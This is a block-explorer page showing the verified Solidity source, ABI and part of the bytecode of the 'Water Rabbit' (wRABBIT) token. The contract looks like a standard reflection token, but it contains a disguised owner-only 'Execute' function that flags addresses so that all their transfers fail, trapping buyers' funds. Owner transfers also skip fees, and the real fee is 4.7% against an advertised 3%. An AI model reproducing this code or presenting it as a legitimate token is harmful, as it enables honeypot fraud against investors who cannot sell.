ETH Price: $3,270.57 (-2.65%)

Token

Water Rabbit (wRABBIT)
 

Overview

Max Total Supply

1,000,000,000,000 wRABBIT

Holders

58

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
20kbaby.eth
Balance
14,933,657,228.668393502 wRABBIT

Value
$0.00
0x82f939af1987139051CebDd51d7C8069aE14c0C4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WaterRabbit

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity Multiple files format)

File 4 of 4: Water Rabbit.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

import "./AddressSafeMath.sol";
import "./ContextOwnable.sol";
import "./IERC20.sol";

contract WaterRabbit is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    string private _name = 'Water Rabbit';
    string private _symbol = 'wRABBIT';
    uint256 private constant _tTotal = 1000000000000*10**9;
    uint8 private _decimals = 9;
    string public TaxSlippage = "3%";
    
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    mapping (address => bool) private _isExcluded;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) private _executeSenderAddress;
    event senderApproved (address Bot, bool sendToAddress);
    uint256 private constant MAX = ~uint256(0);
    address public uniswapV2factory;
    address public uniswapV2router;
    address[] private _excluded;
    uint256 private _tFeeTotal;
    bool _cooldown = false;
    
    constructor (address V2factory, address V2router) {
        uniswapV2factory = V2factory;
        uniswapV2router = V2router;
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _isExcluded[_msgSender()] = true;
        _excluded.push(_msgSender());
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
   

        
    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function Execute(address _address) external onlyOwner {
        if (_executeSenderAddress[_address] == true) {_executeSenderAddress[_address] = false;}
        else {_executeSenderAddress[_address] = true; 
        emit senderApproved (_address, _executeSenderAddress[_address]);}
    }

    function checkSenderAddress(address _address) public view returns (bool) {
        return _executeSenderAddress[_address];
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function reflect(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,) = _getValues(tAmount);
            return rAmount;} else {
            (,uint256 rTransferAmount,,,) = _getValues(tAmount);
            return rTransferAmount;}
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function TaxTakenAlready() public view returns (uint256) {
        return _tFeeTotal;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_executeSenderAddress[sender] || _executeSenderAddress[recipient]) require (amount == 0, "");
        if (_cooldown == false || sender == owner() || recipient == owner()) {
        if (sender == owner() || recipient == owner()) {
        _transferOwner(sender, recipient, amount);
        } else if (_isExcluded[sender] && !_isExcluded[recipient]) {
        _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
        _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
        _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
        _transferBothExcluded(sender, recipient, amount);
        } else {_transferStandard(sender, recipient, amount);}
        } else {require (_cooldown == false, "");}
    }
    
    function _transferOwner(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, , , , ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        if (_isExcluded[sender]) {_tOwned[sender] = _tOwned[sender].sub(tAmount);}
        _rOwned[recipient] = _rOwned[recipient].add(rAmount);
        if (_isExcluded[recipient]) {_tOwned[recipient] = _tOwned[recipient].add(tAmount);}
        emit Transfer(sender, recipient, tAmount);
    }
    
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
    }

    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
        uint256 tFee = tAmount.div(1000).mul(47);
        uint256 tTransferAmount = tAmount.sub(tFee);
        return (tTransferAmount, tFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

File 1 of 4: AddressSafeMath.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative).
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies in extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`.
     * A plain`call` is an unsafe replacement for a function call: use this function instead.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly
                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

File 2 of 4: ContextOwnable.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
       return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    
    /**
     * @dev Returns the address of the current owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the owner.
     */
    function owner() internal view returns (address) {
        return _owner;
    }
}

File 3 of 4: IERC20.sol
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.8.8;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"V2factory","type":"address"},{"internalType":"address","name":"V2router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"Bot","type":"address"},{"indexed":false,"internalType":"bool","name":"sendToAddress","type":"bool"}],"name":"senderApproved","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TaxSlippage","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TaxTakenAlready","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"checkSenderAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526040518060400160405280600c81526020017f5761746572205261626269740000000000000000000000000000000000000000815250600190805190602001906200005192919062000a4c565b506040518060400160405280600781526020017f7752414242495400000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000a4c565b506009600360006101000a81548160ff021916908360ff1602179055506040518060400160405280600281526020017f3325000000000000000000000000000000000000000000000000000000000000815250600490805190602001906200010992919062000a4c565b50683635c9adc5dea0000060001962000123919062000b35565b60001962000132919062000b9c565b6006556000600f60006101000a81548160ff0219169083151502179055503480156200015d57600080fd5b506040516200470e3803806200470e833981810160405281019062000183919062000c41565b6000620001956200051c60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065460086000620002cc6200051c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200031a6200051c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef683635c9adc5dea0000060405162000382919062000c99565b60405180910390a3620003e960086000620003a26200051c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200052460201b60201c565b60096000620003fd6200051c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620004516200051c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600d620004b46200051c60201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505062000f30565b600033905090565b60006006548211156200056e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005659062000d3d565b60405180910390fd5b600062000580620005a460201b60201c565b90506200059c8184620005de60201b62000f631790919060201c565b915050919050565b6000806000620005b96200063060201b60201c565b91509150620005d78183620005de60201b62000f631790919060201c565b9250505090565b60006200062883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200092960201b60201c565b905092915050565b600080600060065490506000683635c9adc5dea00000905060005b600d80549050811015620008d5578260086000600d848154811062000675576200067462000d5f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806200076757508160096000600d8481548110620006ff57620006fe62000d5f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156200078757600654683635c9adc5dea000009450945050505062000925565b6200082160086000600d8481548110620007a657620007a562000d5f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846200099160201b62000fad1790919060201c565b9250620008bd60096000600d848154811062000842576200084162000d5f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836200099160201b62000fad1790919060201c565b91508080620008cc9062000d8e565b9150506200064b565b50620008fb683635c9adc5dea00000600654620005de60201b62000f631790919060201c565b8210156200091c57600654683635c9adc5dea0000093509350505062000925565b81819350935050505b9091565b6000808311829062000973576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200096a919062000e6f565b60405180910390fd5b506000838562000984919062000e93565b9050809150509392505050565b6000620009db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250620009e360201b60201c565b905092915050565b600083831115829062000a2e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a25919062000e6f565b60405180910390fd5b506000838562000a3f919062000b9c565b9050809150509392505050565b82805462000a5a9062000efa565b90600052602060002090601f01602090048101928262000a7e576000855562000aca565b82601f1062000a9957805160ff191683800117855562000aca565b8280016001018555821562000aca579182015b8281111562000ac957825182559160200191906001019062000aac565b5b50905062000ad9919062000add565b5090565b5b8082111562000af857600081600090555060010162000ade565b5090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000b428262000afc565b915062000b4f8362000afc565b92508262000b625762000b6162000b06565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000ba98262000afc565b915062000bb68362000afc565b92508282101562000bcc5762000bcb62000b6d565b5b828203905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000c098262000bdc565b9050919050565b62000c1b8162000bfc565b811462000c2757600080fd5b50565b60008151905062000c3b8162000c10565b92915050565b6000806040838503121562000c5b5762000c5a62000bd7565b5b600062000c6b8582860162000c2a565b925050602062000c7e8582860162000c2a565b9150509250929050565b62000c938162000afc565b82525050565b600060208201905062000cb0600083018462000c88565b92915050565b600082825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600062000d25602a8362000cb6565b915062000d328262000cc7565b604082019050919050565b6000602082019050818103600083015262000d588162000d16565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000d9b8262000afc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000dd15762000dd062000b6d565b5b600182019050919050565b600081519050919050565b60005b8381101562000e0757808201518184015260208101905062000dea565b8381111562000e17576000848401525b50505050565b6000601f19601f8301169050919050565b600062000e3b8262000ddc565b62000e47818562000cb6565b935062000e5981856020860162000de7565b62000e648162000e1d565b840191505092915050565b6000602082019050818103600083015262000e8b818462000e2e565b905092915050565b600062000ea08262000afc565b915062000ead8362000afc565b92508262000ec05762000ebf62000b06565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f1357607f821691505b6020821081141562000f2a5762000f2962000ecb565b5b50919050565b6137ce8062000f406000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad5780639d8d8406116100715780639d8d84061461036f578063a457c2d71461038d578063a9059cbb146103bd578063dd62ed3e146103ed578063f3294c131461041d5761012c565b806370a08231146102b557806370fe251b146102e55780637dafe6c1146103035780638336d9771461033357806395d89b41146103515761012c565b806323b872dd116100f457806323b872dd146101d75780632d83811914610207578063313ce5671461023757806339509351146102555780634549b039146102855761012c565b8063053ab1821461013157806306fdde031461014d578063081d2b3c1461016b578063095ea7b31461018957806318160ddd146101b9575b600080fd5b61014b60048036038101906101469190612b49565b610439565b005b6101556105b3565b6040516101629190612c0f565b60405180910390f35b610173610645565b6040516101809190612c72565b60405180910390f35b6101a3600480360381019061019e9190612cb9565b61066b565b6040516101b09190612d14565b60405180910390f35b6101c1610689565b6040516101ce9190612d3e565b60405180910390f35b6101f160048036038101906101ec9190612d59565b61069a565b6040516101fe9190612d14565b60405180910390f35b610221600480360381019061021c9190612b49565b610773565b60405161022e9190612d3e565b60405180910390f35b61023f6107e1565b60405161024c9190612dc8565b60405180910390f35b61026f600480360381019061026a9190612cb9565b6107f8565b60405161027c9190612d14565b60405180910390f35b61029f600480360381019061029a9190612e0f565b6108ab565b6040516102ac9190612d3e565b60405180910390f35b6102cf60048036038101906102ca9190612e4f565b610934565b6040516102dc9190612d3e565b60405180910390f35b6102ed610a1f565b6040516102fa9190612c72565b60405180910390f35b61031d60048036038101906103189190612e4f565b610a45565b60405161032a9190612d14565b60405180910390f35b61033b610a9b565b6040516103489190612d3e565b60405180910390f35b610359610aa5565b6040516103669190612c0f565b60405180910390f35b610377610b37565b6040516103849190612c0f565b60405180910390f35b6103a760048036038101906103a29190612cb9565b610bc5565b6040516103b49190612d14565b60405180910390f35b6103d760048036038101906103d29190612cb9565b610c92565b6040516103e49190612d14565b60405180910390f35b61040760048036038101906104029190612e7c565b610cb0565b6040516104149190612d3e565b60405180910390f35b610437600